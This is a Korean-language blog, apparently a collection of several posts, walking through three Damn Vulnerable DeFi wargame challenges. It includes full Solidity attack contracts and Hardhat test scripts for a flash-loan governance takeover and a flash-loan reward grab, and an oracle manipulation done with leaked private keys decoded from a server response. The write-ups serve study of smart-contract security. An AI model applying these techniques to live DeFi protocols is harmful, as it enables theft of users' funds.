The Challenge


While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server.

Here’s a snippet:


**HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34**


A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.

Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.


The Contracts


이번 문제는 NFT를 엄청나게 높은 가격에 판매하는 NFT 거래소를 중심으로 진행된다. 이러한 가격은 외부 Oracle 서비스에서 제공되며 우리는 내부 작동 방식을 분석하고, 유리하게 조작하는 방법을 알아내야 한다.

먼저 저 16진수 값들은 뭘까? 문자열로 변환해보았다.


MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4

뭔가 Base64 느낌이 나서 시도를 해보았더니


0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

이게 뭘까? 이번 문제는 기존 문제들과 다르게 웹 서버에서 얻은 정보를 바탕으로 풀어야 하나 보다. 저게 신뢰할 수 있는 계정들 중 2개의 개인 키가 아닐까? 이를 바탕으로 NFT 가격을 조작하여 모든 ETH를 얻을 수 있다. 위 가설이 맞다면 성공할 것이다. 시도해보자.


it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const key1 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"
        const key2 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"

        const account1 = new ethers.Wallet(key1, ethers.provider);
        const account2 = new ethers.Wallet(key2, ethers.provider);

        await oracle.connect(account1).postPrice("DVNFT", 1);
        await oracle.connect(account2).postPrice("DVNFT", 1);

        await exchange.connect(player).buyOne({ value: 1 });

        await oracle.connect(account1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE+ BigInt(1));
        await oracle.connect(account2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE+ BigInt(1));

        await nftToken.connect(player).approve(exchange.address, 0);
        await exchange.connect(player).sellOne(0);

        await oracle.connect(account1).postPrice("DVNFT", INITIAL_NFT_PRICE);
        await oracle.connect(account2).postPrice("DVNFT", INITIAL_NFT_PRICE);
    });

먼저 개인키를 통해 계정을 연결하고, NFT 가격을 1로 설정 후, player가 산다. 그 후 가격을 다시 바꾸고, 그 가격으로 팔아서 거래소의 NFT를 뺄 수 있다. 이는 민감한 정보를 블록체인 상 저장한 것과 너무 특정 계정에 의존한다는 문제점으로 발생하였다.


The Challange


A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.


The Contracts


토큰을 모두 탈취해야 한다. 제공된 초기 자금은 없다. 그럼 어떻게 토큰을 탈취해야 할까?

SimpleGovernance.sol을 보면 여러 거버넌스 메커니즘이 구성되어 있다. 실행할 대상 주소, 데이터 등을 제공받아 실행할 작업을 제안하고 대기열에 넣는 등 작업을 할 수 있다. 하지만 이러한 작업들은 거버넌스 토큰의 총 공급량의 최소 50% 이상의 투표를 보유해야 하며, 제안된 후 2일의 시간 지연과 같은 조건들이 있다.


그럼 flashloan 관련 contract를 보자. SelfiePool.sol은 ERC20 token에 대한 flashloan 기능이 있다. 사용자는 IERC3156FlashBorrower 인터페이스를 구현하는 한 토큰을 빌릴 수 있으며, 긴급 상황 발생 시 거버넌스가 풀에서 자금을 뺄 수 있게 하는 메커니즘이 구성되어 있다. 이 기능은 거버넌스만 실행 가능하다.

토큰을 모두 탈취할려면 위 기능을 실행하면 된다. 하지만 어떻게 거버넌스가 실행하게 할 수 있을까?

먼저 50% 이상의 투표를 보유하기 위해서 flashloan으로 자금을 대출한 한 후 EmergencyExit 함수를 호출하고, flashloan을 payback하면 되지 않을까? 공격 contract를 작성해보자.


Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IPool {
    function flashLoan(
        IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data
    ) external returns (bool);
}

interface IGovernance {
    function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId);
    function getActionCounter() external returns (uint256);
}

interface IERC20Snapshot is IERC20{
    function snapshot() external returns(uint256);
}

contract attackSelfie is IERC3156FlashBorrower {

    IPool public pool;
    IGovernance public governance;
    IERC20Snapshot public token;
    address public player;
    uint256 public amount = 1500000 ether;

    constructor(address _pool, address _governance, address _token, address _player) {
        pool = IPool(_pool);
        governance = IGovernance(_governance);
        token = IERC20Snapshot(_token);
        player = _player;
    }
    
    function attack() public {
        bytes memory data = abi.encodeWithSignature("emergencyExit(address)", player);
        pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), amount , data);
    }

    function onFlashLoan(address, address, uint256 _amount, uint256, bytes calldata data) external returns (bytes32) {
        uint256 id = token.snapshot();
        governance.queueAction(address(pool), 0, data);
        token.approve(address(pool), _amount);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

Exploit Flow


  1. Attack Start:
    • attack() 함수가 호출되면, emergencyExit(address) 함수를 호출하는 페이로드 데이터를 작성
    • 150만 토큰을 플래시 론으로 빌리기 위해 pool.flashLoan()을 호출
  2. FlashLoan :
    • 플래시 론이 완료되면 onFlashLoan() 콜백 함수가 호출
    • 스냅샷을 찍어 거버넌스 토큰의 현재 상태를 기록
    • emergencyExit(address) 함수를 호출하는 작업을 거버넌스 큐에 삽입
    • 빌린 토큰을 풀로 반환하기 위해 토큰 전송을 승인
  3. 작업 실행:
    • 2일이 지난 후, 큐에 넣은 작업이 실행될 수 있다.
    • SimpleGovernance 계약의 executeAction() 함수를 호출하여 emergencyExit()을 실행
    • 이로 인해 SelfiePool 계약이 공격자 주소로 모든 자금을 전송하게 되며 flashloan도 모두 payback된다.
it('Execution', async function () {
	/** CODE YOUR SOLUTION HERE */
    this.exploitContract = await (await ethers.getContractFactory("attackSelfie", player)).deploy(pool.address, governance.address, token.address, player.address)
    await this.exploitContract.attack();
    
    const DELAY = 2 * 24 * 60 * 60 + 1;
    await time.increase(DELAY);  
    await governance.connect(player).executeAction(1);
});

 



 

'Blockchain' 카테고리의 다른 글

Uniswap이 뭘까?  (2) 2024.07.18
Damn Vulnerable DeFi Challenge #7 - Compromised  (0) 2024.07.06
Damn Vulnerable DeFi Challenge #5 - The Rewarder  (1) 2024.07.05
LayerZero 1-Day Analysis  (0) 2024.06.16
LZ Case Analyze  (0) 2024.05.27

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?


The Challange

이 챌린지에는 DVT 토큰을 입금한 사람들에게 5일마다 토큰 보상을 제공하는 풀이 있다. 이 문제에서는 DVT 토큰이나 LP 토큰이 없어도 DVT 토큰으로 flashloan을 제공하는 기능이 있다. 간단히 contract를 보자.

 


The Contracts

  • RewardToken.sol:
    • ERC-20 토큰입니다.
    • Minter 역할이 있습니다.
    • 소유자는 토큰을 발행할 수 있다.
  • AccountingToken.sol:
    • Minter, Snapshot 및 Burner와 같은 다양한 Role이 있다.
    • ERC-20 스냅샷을 사용하여 다양한 시점의 잔액과 공급량을 기록한다.
    • transfer과 approve는 불가능하다.
  • FlashLoanerPool.sol:
    • DVT 토큰으로 플래시 대출을 제공합니다.
    • 요청한 대출 금액이 풀 잔액을 초과하지 않는지 확인하는 로직이 있다.
    • receiveFlashLoan로 payback을 받는다.
  • TheRewarderPool.sol:
    • 흔히 말하는 LP역할이다.
    • 스냅샷 기록, 보상 분배, 입출금 처리를 담당하는 계약이다.
    • 우리는 여기서 취약점을 찾아 보상 메커니즘을 악용해야한다.
      • deposit : 사용자가 pool에 토큰을 예치하는 함수이다. amountToDeposit만큼 liqudity token을 예치하고, 같은 양인 account token을 받는다. round가 돌아오면 이자인 reward token도 받는다.
      • withdraw : 출금 함수이다. amountToWithdraw만큼 출금하고 account token을 소각한다.
      • distributeRewards : account token의 전체 발행량과 사용자의 소유 비율로 결정된다. 5일에 한 번씩 지급된다.

 

The Vulnerability

보상의 계산 방식이 시간과 관계없이 계산된다. 이는 공격자가 거래에서 유동성을 소유한 후 바로 유동성에 대한 reward를 제공받는다. flashloan을 활용하여 거래에 유동성을 제공하고, 보상을 받을 수도 있다.

  1. FlashLoanPool로부터 대출
  2. TheRewarderPool에 입금하여 유동성 획득
  3. reward 받음
  4. 유동성 회수
  5. 다시 flashloan한 것을 payback

 

DVT 토큰의 플래시론을 받고 TheRewarderPool에 스테이킹하고 보상을 얻은 다음 토큰을 인출하고 대출금을 갚으면 된다.

한 번 코드를 작성해보자.


attackTheRewarder.sol

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./RewardToken.sol";

interface IFlashloanPool {
    function flashLoan(uint256 amount) external;
}

interface IRewardPool {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
    function distributeRewards() external;
}

contract attackTheRewarder {
    IFlashloanPool immutable flashLoanPool;
    IRewardPool immutable rewardPool;
    IERC20 immutable liquidityToken;
    IERC20 immutable rewardToken;
    address immutable player;

    constructor( address _flashloanPool, address _rewardPool, address _liquidityToken, address _rewardToken) {
        flashLoanPool = IFlashloanPool(_flashloanPool);
        rewardPool = IRewardPool(_rewardPool);
        liquidityToken = IERC20(_liquidityToken);
        rewardToken = IERC20(_rewardToken);
        player = msg.sender;
    }

    function flashloanAttack() external {
        flashLoanPool.flashLoan(liquidityToken.balanceOf(address(flashLoanPool)));
    }

    function receiveFlashLoan(uint256 amount) external {
        liquidityToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.distributeRewards();
        rewardPool.withdraw(amount);
        liquidityToken.transfer(address(flashLoanPool), amount);
        rewardToken.transfer(player, rewardToken.balanceOf(address(this)));    
    }
}

  • flahsloanAttack() : DVT 토큰 플래시 대출 수행
  • receiveFlashLoan() : 보상 메커니즘에 참여하기 위해 대출받은 토큰을 보상자 풀에 입금 후, distributeRewards() 함수를 호출하여 보상을 획득하고, 출금한다. 그 후 flashloan 받은 금액을 payback한다.

 

 

이를 통해 처음에 토큰이 없어도, 보상을 획득할 수 있다.


it('Execution', async function () {
    await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
    this.attackerContract = await (await ethers.getContractFactory("attackTheRewarder", player)).deploy(
        flashLoanPool.address, rewarderPool.address, liquidityToken.address, rewardToken.address
    )

    await this.attackerContract.flashloanAttack();
});

시간을 빠르게 지나게 하고, 공격을 시행한다.


 


 

Review

처음에 보자마자 어? 이거 그냥 flashloan 받아서 유동성 풀에 입금해서 토큰 받으면 되는거 아닌가?라고 생각을 했었지만 근거가 없었다. 그래서 먼저 보상 계산 방식을 보니 시간과 연관이 없는 것이였다. 그럼 실제로 코드를 5일을 돌려야하나?ㅋㅋ이렇게 생각했는데 마침 test code에 evm_increaseTime이라는게 제공이 되어서 이걸로 5일 돌리고 공격하면 되겠네? 싶었었다. 또한 deposit 함수 내부에 보상을 계산하는 함수가 있어 위 로직이 딱 잘 맞아 떨어질 수 있었다. 감이 잘 맞아 떨어져서 쉽게 풀었던 것 같다.

'Blockchain' 카테고리의 다른 글

Damn Vulnerable DeFi Challenge #7 - Compromised  (0) 2024.07.06
Damn Vulnerable DeFi Challenge #6 - Selfie  (0) 2024.07.05
LayerZero 1-Day Analysis  (0) 2024.06.16
LZ Case Analyze  (0) 2024.05.27
Damn Vulnerable DeFi Challenge #4 - Side Entrance  (0) 2024.05.19

+ Recent posts